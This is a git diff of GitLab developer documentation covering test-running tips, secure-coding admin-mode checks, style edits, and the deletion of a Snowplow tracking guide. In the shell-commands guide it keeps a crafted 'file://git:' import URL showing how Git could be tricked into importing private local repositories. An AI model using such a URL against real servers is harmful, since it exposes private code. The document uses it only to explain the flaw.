@@ -152,6 +152,24 @@ To run several tests inside one directory:
- `bin/rspec spec/requests/api/` for the RSpec tests if you want to test API only
+### Run RSpec tests which failed in Merge Request pipeline on your machine
+
+If your Merge Request pipeline failed with RSpec test failures,
+you can run all the failed tests on your machine with the following Rake task:
+
+```shell
+bin/rake spec:merge_request_rspec_failure
+```
+
+There are a few caveats for this Rake task:
+
+- You need to be on the same branch on your machine as the source branch of the Merge Request.
+- The pipeline must have been completed.
+- You may need to wait for the test report to be parsed and retry again.
+
+This Rake task depends on the [unit test reports](../ci/unit_test_reports.md) feature,
+which only gets parsed when it is requested for the first time.
+
### Speed up tests, Rake tasks, and migrations
[Spring](https://github.com/rails/spring) is a Rails application pre-loader. It
diff --git a/doc/development/scalability.md b/doc/development/scalability.md
index a9b8fb4389f..8ee6e57e4d1 100644
--- a/doc/development/scalability.md
+++ b/doc/development/scalability.md
@@ -36,7 +36,7 @@ application starts, Rails queries the database schema, caching the tables and
column types for the data requested. Because of this schema cache, dropping a
column or table while the application is running can produce 500 errors to the
user. This is why we have a [process for dropping columns and other
-no-downtime changes](what_requires_downtime.md).
+no-downtime changes](avoiding_downtime_in_migrations.md).
#### Multi-tenancy
diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md
index e9c95a14236..62cc2543fc4 100644
--- a/doc/development/secure_coding_guidelines.md
+++ b/doc/development/secure_coding_guidelines.md
@@ -565,7 +565,7 @@ In some scenarios such as [this one](https://gitlab.com/gitlab-org/gitlab/-/issu
return unless user
# Sessions are enforced to be unavailable for API calls, so ignore them for admin mode
- Gitlab::Auth::CurrentUserMode.bypass_session!(user.id) if Feature.enabled?(:user_mode_in_session)
+ Gitlab::Auth::CurrentUserMode.bypass_session!(user.id) if Gitlab::CurrentSettings.admin_mode
unless api_access_allowed?(user)
forbidden!(api_access_denied_message(user))
@@ -581,7 +581,7 @@ In order to prevent this from happening, it is recommended to use the method `us
user = find_user_from_sources
return unless user
- if user.is_a?(User) && Feature.enabled?(:user_mode_in_session)
+ if user.is_a?(User) && Gitlab::CurrentSettings.admin_mode
# Sessions are enforced to be unavailable for API calls, so ignore them for admin mode
Gitlab::Auth::CurrentUserMode.bypass_session!(user.id)
end
diff --git a/doc/development/shell_commands.md b/doc/development/shell_commands.md
index f28828c2e4e..6f56e60f619 100644
--- a/doc/development/shell_commands.md
+++ b/doc/development/shell_commands.md
@@ -223,4 +223,4 @@ When importing, GitLab would execute the following command, passing the `import_
git clone file://git:/tmp/lol
```
-Git would simply ignore the `git:` part, interpret the path as `file:///tmp/lol`, and import the repository into the new project. This action could potentially give the attacker access to any repository in the system, whether private or not.
+Git ignores the `git:` part, interpret the path as `file:///tmp/lol`, and imports the repository into the new project. This action could potentially give the attacker access to any repository in the system, whether private or not.
diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md
index cff199c8b1d..4bcd5e50fae 100644
--- a/doc/development/sidekiq_style_guide.md
+++ b/doc/development/sidekiq_style_guide.md
@@ -551,7 +551,7 @@ does not account for weights.
As we are [moving towards using `sidekiq-cluster` in
Free](https://gitlab.com/gitlab-org/gitlab/-/issues/34396), newly-added
-workers do not need to have weights specified. They can simply use the
+workers do not need to have weights specified. They can use the
default weight, which is 1.
## Worker context
@@ -831,8 +831,6 @@ as shown in this example:
class MigrateTheRenamedSidekiqQueue < ActiveRecord::Migration[5.0]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
def up
sidekiq_queue_migrate 'old_queue_name', to: 'new_queue_name'
end
diff --git a/doc/development/snowplow.md b/doc/development/snowplow.md
index f5689068654..b5d3be5b2dd 100644
--- a/doc/development/snowplow.md
+++ b/doc/development/snowplow.md
@@ -1,634 +1,6 @@
---
-stage: Growth
-group: Product Intelligence
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'snowplow/index.md'
---
-
-# Snowplow Guide
-
-This guide provides an overview of how Snowplow works, and implementation details.
-
-For more information about Product Intelligence, see:
-
-- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
-- [Usage Ping Guide](usage_ping/index.md)
-
-More useful links:
-
-- [Product Intelligence Direction](https://about.gitlab.com/direction/product-intelligence/)
-- [Data Analysis Process](https://about.gitlab.com/handbook/business-ops/data-team/#data-analysis-process/)
-- [Data for Product Managers](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/)
-- [Data Infrastructure](https://about.gitlab.com/handbook/business-ops/data-team/platform/infrastructure/)
-
-## What is Snowplow
-
-Snowplow is an enterprise-grade marketing and Product Intelligence platform which helps track the way users engage with our website and application.
-
-[Snowplow](https://github.com/snowplow/snowplow) consists of the following loosely-coupled sub-systems:
-
-- **Trackers** fire Snowplow events. Snowplow has 12 trackers, covering web, mobile, desktop, server, and IoT.
-- **Collectors** receive Snowplow events from trackers. We have three different event collectors, synchronizing events either to Amazon S3, Apache Kafka, or Amazon Kinesis.
-- **Enrich** cleans up the raw Snowplow events, enriches them and puts them into storage. We have an Hadoop-based enrichment process, and a Kinesis-based or Kafka-based process.
-- **Storage** is where the Snowplow events live. We store the Snowplow events in a flat file structure on S3, and in the Redshift and PostgreSQL databases.
-- **Data modeling** is where event-level data is joined with other data sets and aggregated into smaller data sets, and business logic is applied. This produces a clean set of tables which make it easier to perform analysis on the data. We have data models for Redshift and Looker.
-- **Analytics** are performed on the Snowplow events or on the aggregate tables.
-
-![snowplow_flow](img/snowplow_flow.png)
-
-## Snowplow schema
-
-We have many definitions of Snowplow's schema. We have an active issue to [standardize this schema](https://gitlab.com/gitlab-org/gitlab/-/issues/207930) including the following definitions:
-
-- Frontend and backend taxonomy as listed below
-- [Structured event taxonomy](#structured-event-taxonomy)
-- [Self describing events](https://github.com/snowplow/snowplow/wiki/Custom-events#self-describing-events)
-- [Iglu schema](https://gitlab.com/gitlab-org/iglu/)
-- [Snowplow authored events](https://github.com/snowplow/snowplow/wiki/Snowplow-authored-events)
-
-## Enabling Snowplow
-
-Tracking can be enabled at:
-
-- The instance level, which enables tracking on both the frontend and backend layers.
-- User level, though user tracking can be disabled on a per-user basis. GitLab tracking respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level.
-
-We use Snowplow for the majority of our tracking strategy and it is enabled on GitLab.com. On a self-managed instance, Snowplow can be enabled by navigating to:
-
-- **Admin Area > Settings > General** in the UI.
-- `admin/application_settings/integrations` in your browser.
-
-The following configuration is required:
-
-| Name | Value |
-|---------------|---------------------------|
-| Collector | `snowplow.trx.gitlab.net` |
-| Site ID | `gitlab` |
-| Cookie domain | `.gitlab.com` |
-
-## Snowplow request flow
-
-The following example shows a basic request/response flow between the following components:
-
-- Snowplow JS / Ruby Trackers on GitLab.com
-- [GitLab.com Snowplow Collector](https://gitlab.com/gitlab-com/gl-infra/readiness/-/blob/master/library/snowplow/index.md)
-- The GitLab S3 Bucket
-- The GitLab Snowflake Data Warehouse
-- Sisense:
-
-```mermaid
-sequenceDiagram
- participant Snowplow JS (Frontend)
- participant Snowplow Ruby (Backend)
- participant GitLab.com Snowplow Collector
- participant S3 Bucket
- participant Snowflake DW
- participant Sisense Dashboards
- Snowplow JS (Frontend) ->> GitLab.com Snowplow Collector: FE Tracking event
- Snowplow Ruby (Backend) ->> GitLab.com Snowplow Collector: BE Tracking event
- loop Process using Kinesis Stream
- GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Log raw events
- GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Enrich events
- GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Write to disk
- end
- GitLab.com Snowplow Collector ->> S3 Bucket: Kinesis Firehose
- S3 Bucket->>Snowflake DW: Import data
- Snowflake DW->>Snowflake DW: Transform data using dbt
- Snowflake DW->>Sisense Dashboards: Data available for querying
-```
-
-## Structured event taxonomy
-
-When adding new click events, we should add them in a way that's internally consistent. If we don't, it is very painful to perform analysis across features since each feature captures events differently.
-
-The current method provides several attributes that are sent on each click event. Please try to follow these guidelines when specifying events to capture:
-
-| attribute | type | required | description |
-| --------- | ------- | -------- | ----------- |
-| category | text | true | The page or backend area of the application. Unless infeasible, please use the Rails page attribute by default in the frontend, and namespace + class name on the backend. |
-| action | text | true | The action the user is taking, or aspect that's being instrumented. The first word should always describe the action or aspect: clicks should be `click`, activations should be `activate`, creations should be `create`, etc. Use underscores to describe what was acted on; for example, activating a form field would be `activate_form_input`. An interface action like clicking on a dropdown would be `click_dropdown`, while a behavior like creating a project record from the backend would be `create_project` |
-| label | text | false | The specific element, or object that's being acted on. This is either the label of the element (e.g. a tab labeled 'Create from template' may be `create_from_template`) or a unique identifier if no text is available (e.g. closing the Groups dropdown in the top navigation bar might be `groups_dropdown_close`), or it could be the name or title attribute of a record being created. |
-| property | text | false | Any additional property of the element, or object being acted on. |
-| value | decimal | false | Describes a numeric value or something directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility). |
-
-### Web-specific parameters
-
-Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/snowplow-tracker-protocol/#Web-specific_parameters) to all web events by default.
-
-## Implementing Snowplow JS (Frontend) tracking
-
-GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. There are a few ways to use tracking, but each generally requires at minimum, a `category` and an `action`. Additional data can be provided that adheres to our [Structured event taxonomy](#structured-event-taxonomy).
-
-| field | type | default value | description |
-|:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `category` | string | `document.body.dataset.page` | Page or subsection of a page that events are being captured within. |
-| `action` | string | 'generic' | Action the user is taking. Clicks should be `click` and activations should be `activate`, so for example, focusing a form field would be `activate_form_input`, and clicking a button would be `click_button`. |
-| `data` | object | `{}` | Additional data such as `label`, `property`, `value`, and `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
-
-### Tracking in HAML (or Vue Templates)
-
-When working within HAML (or Vue templates) we can add `data-track-*` attributes to elements of interest. All elements that have a `data-track-event` attribute automatically have event tracking bound on clicks.
-
-Below is an example of `data-track-*` attributes assigned to a button:
-
-```haml
-%button.btn{ data: { track: { event: "click_button", label: "template_preview", property: "my-template" } } }
-```
-
-```html
-<button class="btn"
- data-track-event="click_button"
- data-track-label="template_preview"
- data-track-property="my-template"
-/>
-```
-
-Event listeners are bound at the document level to handle click events on or within elements with these data attributes. This allows them to be properly handled on re-rendering and changes to the DOM. Note that because of the way these events are bound, click events should not be stopped from propagating up the DOM tree. If for any reason click events are being stopped from propagating, you need to implement your own listeners and follow the instructions in [Tracking in raw JavaScript](#tracking-in-raw-javascript).
-
-Below is a list of supported `data-track-*` attributes:
-
-| attribute | required | description |
-|:----------------------|:---------|:------------|
-| `data-track-event` | true | Action the user is taking. Clicks must be prepended with `click` and activations must be prepended with `activate`. For example, focusing a form field would be `activate_form_input` and clicking a button would be `click_button`. |
-| `data-track-label` | false | The `label` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
-| `data-track-property` | false | The `property` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
-| `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. |
-| `data-track-context` | false | The `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
-
-#### Caveats
-
-When using the GitLab helper method [`nav_link`](https://gitlab.com/gitlab-org/gitlab/-/blob/898b286de322e5df6a38d257b10c94974d580df8/app/helpers/tab_helper.rb#L69) be sure to wrap `html_options` under the `html_options` keyword argument.
-Be careful, as this behavior can be confused with the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/v5.2.3/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) that does not require additional wrapping of `html_options`
-
-`nav_link(controller: ['dashboard/groups', 'explore/groups'], html_options: { data: { track_label: "groups_dropdown", track_event: "click_dropdown" } })`
-
-vs
-
-`link_to assigned_issues_dashboard_path, title: _('Issues'), data: { track_label: 'main_navigation', track_event: 'click_issues_link' }`
-
-### Tracking within Vue components
-
-There's a tracking Vue mixin that can be used in components if more complex tracking is required. To use it, first import the `Tracking` library and request a mixin.
-
-```javascript
-import Tracking from '~/tracking';
-const trackingMixin = Tracking.mixin({ label: 'right_sidebar' });
-```
-
-You can provide default options that are passed along whenever an event is tracked from within your component. For instance, if all events within a component should be tracked with a given `label`, you can provide one at this time. Available defaults are `category`, `label`, `property`, and `value`. If no category is specified, `document.body.dataset.page` is used as the default.
-
-You can then use the mixin normally in your component with the `mixin` Vue declaration. The mixin also provides the ability to specify tracking options in `data` or `computed`. These override any defaults and allow the values to be dynamic from props, or based on state.
-
-```javascript
-export default {
- mixins: [trackingMixin],
- // ...[component implementation]...
- data() {
- return {
- expanded: false,
- tracking: {
- label: 'left_sidebar'
- }
- };
- },
-}
-```
-
-The mixin provides a `track` method that can be called within the template, or from component methods. An example of the whole implementation might look like the following.
-
-```javascript
-export default {
- mixins: [Tracking.mixin({ label: 'right_sidebar' })],
- data() {
- return {
- expanded: false,
- };
- },
- methods: {
- toggle() {
- this.expanded = !this.expanded;
- this.track('click_toggle', { value: this.expanded })
- }
- }
-};
-```
-
-And if needed within the template, you can use the `track` method directly as well.
-
-```html
-<template>
- <div>
- <a class="toggle" @click.prevent="toggle">Toggle</a>
- <div v-if="expanded">
- <p>Hello world!</p>
- <a @click.prevent="track('click_action')">Track an event</a>
- </div>
- </div>
-</template>
-```
-
-### Tracking in raw JavaScript
-
-Custom event tracking and instrumentation can be added by directly calling the `Tracking.event` static function. The following example demonstrates tracking a click on a button by calling `Tracking.event` manually.
-
-```javascript
-import Tracking from '~/tracking';
-
-const button = document.getElementById('create_from_template_button');
-button.addEventListener('click', () => {
- Tracking.event('dashboard:projects:index', 'click_button', {
- label: 'create_from_template',
- property: 'template_preview',
- value: 'rails',
- });
-})
-```
-
-### Tests and test helpers
-
-In Jest particularly in Vue tests, you can use the following:
-
-```javascript
-import { mockTracking } from 'helpers/tracking_helper';
-
-describe('MyTracking', () => {
- let spy;
-
- beforeEach(() => {
- spy = mockTracking('_category_', wrapper.element, jest.spyOn);
- });
-
- it('tracks an event when clicked on feedback', () => {
- wrapper.find('.discover-feedback-icon').trigger('click');
-
- expect(spy).toHaveBeenCalledWith('_category_', 'click_button', {
- label: 'security-discover-feedback-cta',
- property: '0',
- });
- });
-});
-```
-
-In obsolete Karma tests it's used as below:
-
-```javascript
-import { mockTracking, triggerEvent } from 'spec/helpers/tracking_helper';
-
-describe('my component', () => {
- let trackingSpy;
-
- beforeEach(() => {
- trackingSpy = mockTracking('_category_', vm.$el, spyOn);
- });
-
- const triggerEvent = () => {
- // action which should trigger a event
- };
-
- it('tracks an event when toggled', () => {
- expect(trackingSpy).not.toHaveBeenCalled();
-
- triggerEvent('a.toggle');
-
- expect(trackingSpy).toHaveBeenCalledWith('_category_', 'click_edit_button', {
- label: 'right_sidebar',
- property: 'confidentiality',
- });
- });
-});
-```
-
-## Implementing Snowplow Ruby (Backend) tracking
-
-GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://github.com/snowplow/snowplow/wiki/ruby-tracker) for tracking custom events.
-
-Custom event tracking and instrumentation can be added by directly calling the `GitLab::Tracking.event` class method, which accepts the following arguments:
-
-| argument | type | default value | description |
-|------------|---------------------------|---------------|-----------------------------------------------------------------------------------------------------------------------------------|
-| `category` | String | | Area or aspect of the application. This could be `HealthCheckController` or `Lfs::FileTransformer` for instance. |
-| `action` | String | | The action being taken, which can be anything from a controller action like `create` to something like an Active Record callback. |
-| `label` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). |
-| `property` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). |
-| `value` | Numeric | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). |
-| `context` | Array\[SelfDescribingJSON\] | nil | An array of custom contexts to send with this event. Most events should not have any custom contexts. |
-| `project` | Project | nil | The project associated with the event. |
-| `user` | User | nil | The user associated with the event. |
-| `namespace` | Namespace | nil | The namespace associated with the event. |
-
-Tracking can be viewed as either tracking user behavior, or can be used for instrumentation to monitor and visualize performance over time in an area or aspect of code.
-
-For example:
-
-```ruby
-class Projects::CreateService < BaseService
- def execute
- project = Project.create(params)
-
- Gitlab::Tracking.event('Projects::CreateService', 'create_project', label: project.errors.full_messages.to_sentence,
- property: project.valid?.to_s, project: project, user: current_user, namespace: namespace)
- end
-end
-```
-
-### Unit testing
-
-Use the `expect_snowplow_event` helper when testing backend Snowplow events. See [testing best practices](
-https://docs.gitlab.com/ee/development/testing_guide/best_practices.html#test-snowplow-events) for details.
-
-### Performance
-
-We use the [AsyncEmitter](https://github.com/snowplow/snowplow/wiki/Ruby-Tracker#52-the-asyncemitter-class) when tracking events, which allows for instrumentation calls to be run in a background thread. This is still an active area of development.
-
-## Developing and testing Snowplow
-
-There are several tools for developing and testing Snowplow Event
-
-| Testing Tool | Frontend Tracking | Backend Tracking | Local Development Environment | Production Environment | Production Environment |
-|----------------------------------------------|--------------------|---------------------|-------------------------------|------------------------|------------------------|
-| Snowplow Analytics Debugger Chrome Extension | **{check-circle}** | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | **{check-circle}** |
-| Snowplow Inspector Chrome Extension | **{check-circle}** | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | **{check-circle}** |
-| Snowplow Micro | **{check-circle}** | **{check-circle}** | **{check-circle}** | **{dotted-circle}** | **{dotted-circle}** |
-| Snowplow Mini | **{check-circle}** | **{check-circle}** | **{dotted-circle}** | **{status_preparing}** | **{status_preparing}** |
-
-**Legend**
-
-**{check-circle}** Available, **{status_preparing}** In progress, **{dotted-circle}** Not Planned
-
-### Preparing your MR for Review
-
-1. For frontend events, in the MR description section, add a screenshot of the event's relevant section using the [Snowplow Analytics Debugger](https://chrome.google.com/webstore/detail/snowplow-analytics-debugg/jbnlcgeengmijcghameodeaenefieedm) Chrome browser extension.
-1. For backend events, please use Snowplow Micro and add the output of the Snowplow Micro good events `GET http://localhost:9090/micro/good`.
-1. Include a member of the Product Intelligence team as a reviewer of your MR. Mention `@gitlab-org/growth/product_intelligence/engineers` in your MR to request a review.
-
-### Snowplow Analytics Debugger Chrome Extension
-
-Snowplow Analytics Debugger is a browser extension for testing frontend events. This works on production, staging and local development environments.
-
-1. Install the [Snowplow Analytics Debugger](https://chrome.google.com/webstore/detail/snowplow-analytics-debugg/jbnlcgeengmijcghameodeaenefieedm) Chrome browser extension.
-1. Open Chrome DevTools to the Snowplow Analytics Debugger tab.
-1. Learn more at [Igloo Analytics](https://www.iglooanalytics.com/blog/snowplow-analytics-debugger-chrome-extension.html).
-
-### Snowplow Inspector Chrome Extension
-
-Snowplow Inspector Chrome Extension is a browser extension for testing frontend events. This works on production, staging and local development environments.
-
-1. Install [Snowplow Inspector](https://chrome.google.com/webstore/detail/snowplow-inspector/maplkdomeamdlngconidoefjpogkmljm?hl=en).
-1. Open the Chrome extension by pressing the Snowplow Inspector icon beside the address bar.
-1. Click around on a webpage with Snowplow and you should see JavaScript events firing in the inspector window.
-
-### Snowplow Micro
-
-Snowplow Micro is a very small version of a full Snowplow data collection pipeline: small enough that it can be launched by a test suite. Events can be recorded into Snowplow Micro just as they can a full Snowplow pipeline. Micro then exposes an API that can be queried.
-
-Snowplow Micro is a Docker-based solution for testing frontend and backend events in a local development environment. You need to modify GDK using the instructions below to set this up.
-
-- Read [Introducing Snowplow Micro](https://snowplowanalytics.com/blog/2019/07/17/introducing-snowplow-micro/)
-- Look at the [Snowplow Micro repository](https://github.com/snowplow-incubator/snowplow-micro)
-- Watch our <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [installation guide recording](https://www.youtube.com/watch?v=OX46fo_A0Ag)
-
-1. Ensure Docker is installed and running.
-
-1. Install [Snowplow Micro](https://github.com/snowplow-incubator/snowplow-micro) by cloning the settings in [this project](https://gitlab.com/gitlab-org/snowplow-micro-configuration):
-1. Navigate to the directory with the cloned project, and start the appropriate Docker
- container with the following script:
-
- ```shell
- ./snowplow-micro.sh
- ```
-
-1. Update your instance's settings to enable Snowplow events and point to the Snowplow Micro collector:
-
- ```shell
- gdk psql -d gitlabhq_development
- update application_settings set snowplow_collector_hostname='localhost:9090', snowplow_enabled=true, snowplow_cookie_domain='.gitlab.com';
- ```
-
-1. Update `DEFAULT_SNOWPLOW_OPTIONS` in `app/assets/javascripts/tracking.js` to remove `forceSecureTracker: true`:
-
- ```diff
- diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js
- index 0a1211d0a76..3b98c8f28f2 100644
- --- a/app/assets/javascripts/tracking.js
- +++ b/app/assets/javascripts/tracking.js
- @@ -7,7 +7,6 @@ const DEFAULT_SNOWPLOW_OPTIONS = {
- appId: '',
- userFingerprint: false,
- respectDoNotTrack: true,
- - forceSecureTracker: true,
- eventMethod: 'post',
- contexts: { webPage: true, performanceTiming: true },
- formTracking: false,
-
- ```
-
-1. Update `snowplow_options` in `lib/gitlab/tracking.rb` to add `protocol` and `port`:
-
- ```diff
- diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb
- index 618e359211b..e9084623c43 100644
- --- a/lib/gitlab/tracking.rb
- +++ b/lib/gitlab/tracking.rb
- @@ -41,7 +41,9 @@ def snowplow_options(group)
- cookie_domain: Gitlab::CurrentSettings.snowplow_cookie_domain,
- app_id: Gitlab::CurrentSettings.snowplow_app_id,
- form_tracking: additional_features,
- - link_click_tracking: additional_features
- + link_click_tracking: additional_features,
- + protocol: 'http',
- + port: 9090
- }.transform_keys! { |key| key.to_s.camelize(:lower).to_sym }
- end
- ```
-
-1. Update `emitter` in `lib/gitlab/tracking/destinations/snowplow.rb` to change `protocol`:
-
- ```diff
- diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb
- index 4fa844de325..5dd9d0eacfb 100644
- --- a/lib/gitlab/tracking/destinations/snowplow.rb
- +++ b/lib/gitlab/tracking/destinations/snowplow.rb
- @@ -40,7 +40,7 @@ def tracker
- def emitter
- SnowplowTracker::AsyncEmitter.new(
- Gitlab::CurrentSettings.snowplow_collector_hostname,
- - protocol: 'https'
- + protocol: 'http'
- )
- end
- end
-
- ```
-
-1. Restart GDK:
-
- ```shell
- `gdk restart`
- ```
-
-1. Send a test Snowplow event from the Rails console:
-
- ```ruby
- Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', data: { page_type: 'MY_TYPE' }, context: nil)
- ```
-
-1. Navigate to `localhost:9090/micro/good` to see the event.
-
-### Snowplow Mini
-
-[Snowplow Mini](https://github.com/snowplow/snowplow-mini) is an easily-deployable, single-instance version of Snowplow.
-
-Snowplow Mini can be used for testing frontend and backend events on a production, staging and local development environment.
-
-For GitLab.com, we're setting up a [QA and Testing environment](https://gitlab.com/gitlab-org/telemetry/-/issues/266) using Snowplow Mini.
-
-## Snowplow Schemas
-
-### `gitlab_standard`
-
-We are including the [`gitlab_standard` schema](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_standard/jsonschema/) with every event. See [Standardize Snowplow Schema](https://gitlab.com/groups/gitlab-org/-/epics/5218) for details.
-
-The [`StandardContext`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/tracking/standard_context.rb) class represents this schema in the application.
-
-| Field Name | Required | Type | Description |
-|----------------|---------------------|-----------------------|---------------------------------------------------------------------------------------------|
-| `project_id` | **{dotted-circle}** | integer | |
-| `namespace_id` | **{dotted-circle}** | integer | |
-| `environment` | **{check-circle}** | string (max 32 chars) | Name of the source environment, such as `production` or `staging` |
-| `source` | **{check-circle}** | string (max 32 chars) | Name of the source application, such as `gitlab-rails` or `gitlab-javascript` |
-
-### Default Schema
-
-| Field Name | Required | Type | Description |
-|--------------------------|---------------------|-----------|----------------------------------------------------------------------------------------------------------------------------------|
-| `app_id` | **{check-circle}** | string | Unique identifier for website / application |
-| `base_currency` | **{dotted-circle}** | string | Reporting currency |
-| `br_colordepth` | **{dotted-circle}** | integer | Browser color depth |
-| `br_cookies` | **{dotted-circle}** | boolean | Does the browser permit cookies? |
-| `br_family` | **{dotted-circle}** | string | Browser family |
-| `br_features_director` | **{dotted-circle}** | boolean | Director plugin installed? |
-| `br_features_flash` | **{dotted-circle}** | boolean | Flash plugin installed? |
-| `br_features_gears` | **{dotted-circle}** | boolean | Google gears installed? |
-| `br_features_java` | **{dotted-circle}** | boolean | Java plugin installed? |
-| `br_features_pdf` | **{dotted-circle}** | boolean | Adobe PDF plugin installed? |
-| `br_features_quicktime` | **{dotted-circle}** | boolean | Quicktime plugin installed? |
-| `br_features_realplayer` | **{dotted-circle}** | boolean | RealPlayer plugin installed? |
-| `br_features_silverlight` | **{dotted-circle}** | boolean | Silverlight plugin installed? |
-| `br_features_windowsmedia` | **{dotted-circle}** | boolean | Windows media plugin installed? |
-| `br_lang` | **{dotted-circle}** | string | Language the browser is set to |
-| `br_name` | **{dotted-circle}** | string | Browser name |
-| `br_renderengine` | **{dotted-circle}** | string | Browser rendering engine |
-| `br_type` | **{dotted-circle}** | string | Browser type |
-| `br_version` | **{dotted-circle}** | string | Browser version |
-| `br_viewheight` | **{dotted-circle}** | string | Browser viewport height |
-| `br_viewwidth` | **{dotted-circle}** | string | Browser viewport width |
-| `collector_tstamp` | **{dotted-circle}** | timestamp | Time stamp for the event recorded by the collector |
-| `contexts` | **{dotted-circle}** | | |
-| `derived_contexts` | **{dotted-circle}** | | Contexts derived in the Enrich process |
-| `derived_tstamp` | **{dotted-circle}** | timestamp | Timestamp making allowance for inaccurate device clock |
-| `doc_charset` | **{dotted-circle}** | string | Web page’s character encoding |
-| `doc_height` | **{dotted-circle}** | string | Web page height |
-| `doc_width` | **{dotted-circle}** | string | Web page width |
-| `domain_sessionid` | **{dotted-circle}** | string | Unique identifier (UUID) for this visit of this user_id to this domain |
-| `domain_sessionidx` | **{dotted-circle}** | integer | Index of number of visits that this user_id has made to this domain (The first visit is `1`) |
-| `domain_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a first party cookie (so domain specific) |
-| `dvce_created_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event occurred, as recorded by client device |
-| `dvce_ismobile` | **{dotted-circle}** | boolean | Indicates whether device is mobile |
-| `dvce_screenheight` | **{dotted-circle}** | string | Screen / monitor resolution |
-| `dvce_screenwidth` | **{dotted-circle}** | string | Screen / monitor resolution |
-| `dvce_sent_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event was sent by client device to collector |
-| `dvce_type` | **{dotted-circle}** | string | Type of device |
-| `etl_tags` | **{dotted-circle}** | string | JSON of tags for this ETL run |
-| `etl_tstamp` | **{dotted-circle}** | timestamp | Timestamp event began ETL |
-| `event` | **{dotted-circle}** | string | Event type |
-| `event_fingerprint` | **{dotted-circle}** | string | Hash client-set event fields |
-| `event_format` | **{dotted-circle}** | string | Format for event |
-| `event_id` | **{dotted-circle}** | string | Event UUID |
-| `event_name` | **{dotted-circle}** | string | Event name |
-| `event_vendor` | **{dotted-circle}** | string | The company who developed the event model |
-| `event_version` | **{dotted-circle}** | string | Version of event schema |
-| `geo_city` | **{dotted-circle}** | string | City of IP origin |
-| `geo_country` | **{dotted-circle}** | string | Country of IP origin |
-| `geo_latitude` | **{dotted-circle}** | string | An approximate latitude |
-| `geo_longitude` | **{dotted-circle}** | string | An approximate longitude |
-| `geo_region` | **{dotted-circle}** | string | Region of IP origin |
-| `geo_region_name` | **{dotted-circle}** | string | Region of IP origin |
-| `geo_timezone` | **{dotted-circle}** | string | Timezone of IP origin |
-| `geo_zipcode` | **{dotted-circle}** | string | Zip (postal) code of IP origin |
-| `ip_domain` | **{dotted-circle}** | string | Second level domain name associated with the visitor’s IP address |
-| `ip_isp` | **{dotted-circle}** | string | Visitor’s ISP |
-| `ip_netspeed` | **{dotted-circle}** | string | Visitor’s connection type |
-| `ip_organization` | **{dotted-circle}** | string | Organization associated with the visitor’s IP address – defaults to ISP name if none is found |
-| `mkt_campaign` | **{dotted-circle}** | string | The campaign ID |
-| `mkt_clickid` | **{dotted-circle}** | string | The click ID |
-| `mkt_content` | **{dotted-circle}** | string | The content or ID of the ad. |
-| `mkt_medium` | **{dotted-circle}** | string | Type of traffic source |
-| `mkt_network` | **{dotted-circle}** | string | The ad network to which the click ID belongs |
-| `mkt_source` | **{dotted-circle}** | string | The company / website where the traffic came from |
-| `mkt_term` | **{dotted-circle}** | string | Keywords associated with the referrer |
-| `name_tracker` | **{dotted-circle}** | string | The tracker namespace |
-| `network_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a cookie from the collector (so set at a network level and shouldn’t be set by a tracker) |
-| `os_family` | **{dotted-circle}** | string | Operating system family |
-| `os_manufacturer` | **{dotted-circle}** | string | Manufacturers of operating system |
-| `os_name` | **{dotted-circle}** | string | Name of operating system |
-| `os_timezone` | **{dotted-circle}** | string | Client operating system timezone |
-| `page_referrer` | **{dotted-circle}** | string | Referrer URL |
-| `page_title` | **{dotted-circle}** | string | Page title |
-| `page_url` | **{dotted-circle}** | string | Page URL |
-| `page_urlfragment` | **{dotted-circle}** | string | Fragment aka anchor |
-| `page_urlhost` | **{dotted-circle}** | string | Host aka domain |
-| `page_urlpath` | **{dotted-circle}** | string | Path to page |
-| `page_urlport` | **{dotted-circle}** | integer | Port if specified, 80 if not |
